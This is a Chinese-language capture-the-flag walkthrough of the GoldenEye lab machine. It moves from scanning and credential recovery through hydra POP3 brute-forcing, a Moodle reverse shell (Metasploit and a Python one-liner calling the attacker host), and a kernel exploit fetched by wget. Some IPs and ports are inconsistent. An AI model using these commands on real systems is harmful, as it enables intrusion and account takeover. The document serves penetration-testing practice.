一、获取靶机IP
Nmap -sP 192.168.78.0/24
靶机IP:192.168.78.176
Kali:192.168.78.128
二、探测端口及服务
Nmap -sT -p- 192.168.78.176
三、查找信息
提示/sev-home/目录可登录,但是没有账号密码
查看页面源代码发现存在js文件
点击后能发现一些信息
发现了有html编码的密码
解码后得到密码:InvincibleHack3r,并且获得两个用户名:Boris、Natalya
返回尝试登录
最终账号密码:boris/InvincibleHack3r
页面有提示信息说开启了pop3服务在其他高端口上,也就是扫描到的55006 55007,可针对这两个端口再探测一下。
nmap -sT -sV -p55006,55007 192.168.78.176
邮箱服务是有账户名和密码可以登录的,结合前面的用户名:natalya boris,采用hydra爆破
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.78.176 -s 55007 pop3
最终得到有账户密码
用户:boris 密码:secret1!
用户:natalya 密码:bird
四、邮件信息提取
可使用nc进行验证登录
登录boris邮箱:
nc 192.168.78.176 55007 ---登录邮箱
user boris ---登录用户
pass secret1! ---登录密码
list ---查看邮件数量
retr 1~3 ---查看邮件内容
第二封来自用户“natalya”,称她可以破坏鲍里斯的密码。
第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。
登录natalya邮箱:
natalya用户登录邮件查看信息:
nc 192.168.4.202 55007 ---登录邮箱
user natalya ---登录用户
pass bird ---登录密码
list ---查看邮件数量
retr 1~3 ---查看邮件内容
在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
用户名:xenia
密码:RCP90rulez!
域名:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com
Windows:C:\Windows\System32\drivers\etc\hosts
Linux:/etc/hosts
访问对应网站
登陆界面看到了moodle,这是一个开源的CMS系统,右上角有登录按钮,使用邮件获得的用户密码进行登陆。
用户名:xenia,密码:RCP90rulez!
Home / ▶ My profile / ▶ Messages --->发现有一封邮件,内容发现用户名doak
继续爆破用户名doak的邮箱密码
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.78.176 -s 55007 pop3
登录doak用户枚举邮件信息
nc 192.168.4.202 55007 ---登录邮箱
user doak ---登录用户
pass goat ---登录密码
list ---查看邮件数量
retr 1 ---查看邮件内容
邮件消息说,为我们提供了更多登录凭据以登录到应用程序,让我们尝试使用这些凭据登录。
用户名:dr_doak,密码:4England!
使用新的账户密码登录网站,登录后在:Home / ▶ My profile 右边发现: s3cret.txt
提示有个图片信息,访问下载查看,详细信息中存在base64编码的密文
解密后得到密码:xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!
五、反弹shell
此前注意到网站使用的cms是moodle 2.2.3,可搜索可利用的漏洞,这里提供两种方式
1、msf
msfdb init & msfconsole ---进入MSF框架攻击界面
search moodle ---查找 moodle类型 攻击的模块
use 1 ---调用攻击脚本
set username admin ---设置用户名:admin
set password xWinter1995x! ---设置密码:xWinter1995x!
set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir ---设置目录: /gnocertdir
set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
set lhost 192.168.78.128 ---设置:lhost 192.168.78.128(需要本地IP)
exploit ----执行命令
当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell
Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor
来到此处,修改PSpellShell然后save!
再次执行即可反弹shell
python -c 'import pty; pty.spawn("/bin/bash")'
2、python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.78.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
之后在下图所示路径中新建文章,随便输入字符,点击 “ Toggle Spellchecker ” 后就会反弹 shell。
注:再反弹shell时注意kali防火墙是否关闭或对应端口是否允许访问。
六、提权
Uname -a ---查看内核版本
搜索一下漏洞信息 ubuntu 3.13.0-31 exploite
得到 EDB-ID:37292,搜索 kali 本地 exp 库中 37292 攻击脚本信息。
searchsploit 37292
将该文件复制到一个目录中
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/
查看目标机器,发现目标没有安装 gcc,但安装了 cc,还安装了wget。
C 语言用 gcc 编译 ,.c 文件为可执行文件,可以用 cc 代替编译。
原本的 37292.c 文件使用 gcc,需要将第 143 行的 gcc 改为 cc。
在相应目录下开启一个简单的 http 服务,便于使目标机器下载相应利用代码。
python3 -m http.server 8088
目标机器中,进入 /tmp/ 目录,下载
wget http://192.168.78.128:8000/37292.c
编译,并给可执行文件赋权,然后执行。
cc -o rootshell 37292.c
chmod +x rootshell
./rootshell
到根目录找到flag即可
完成!!!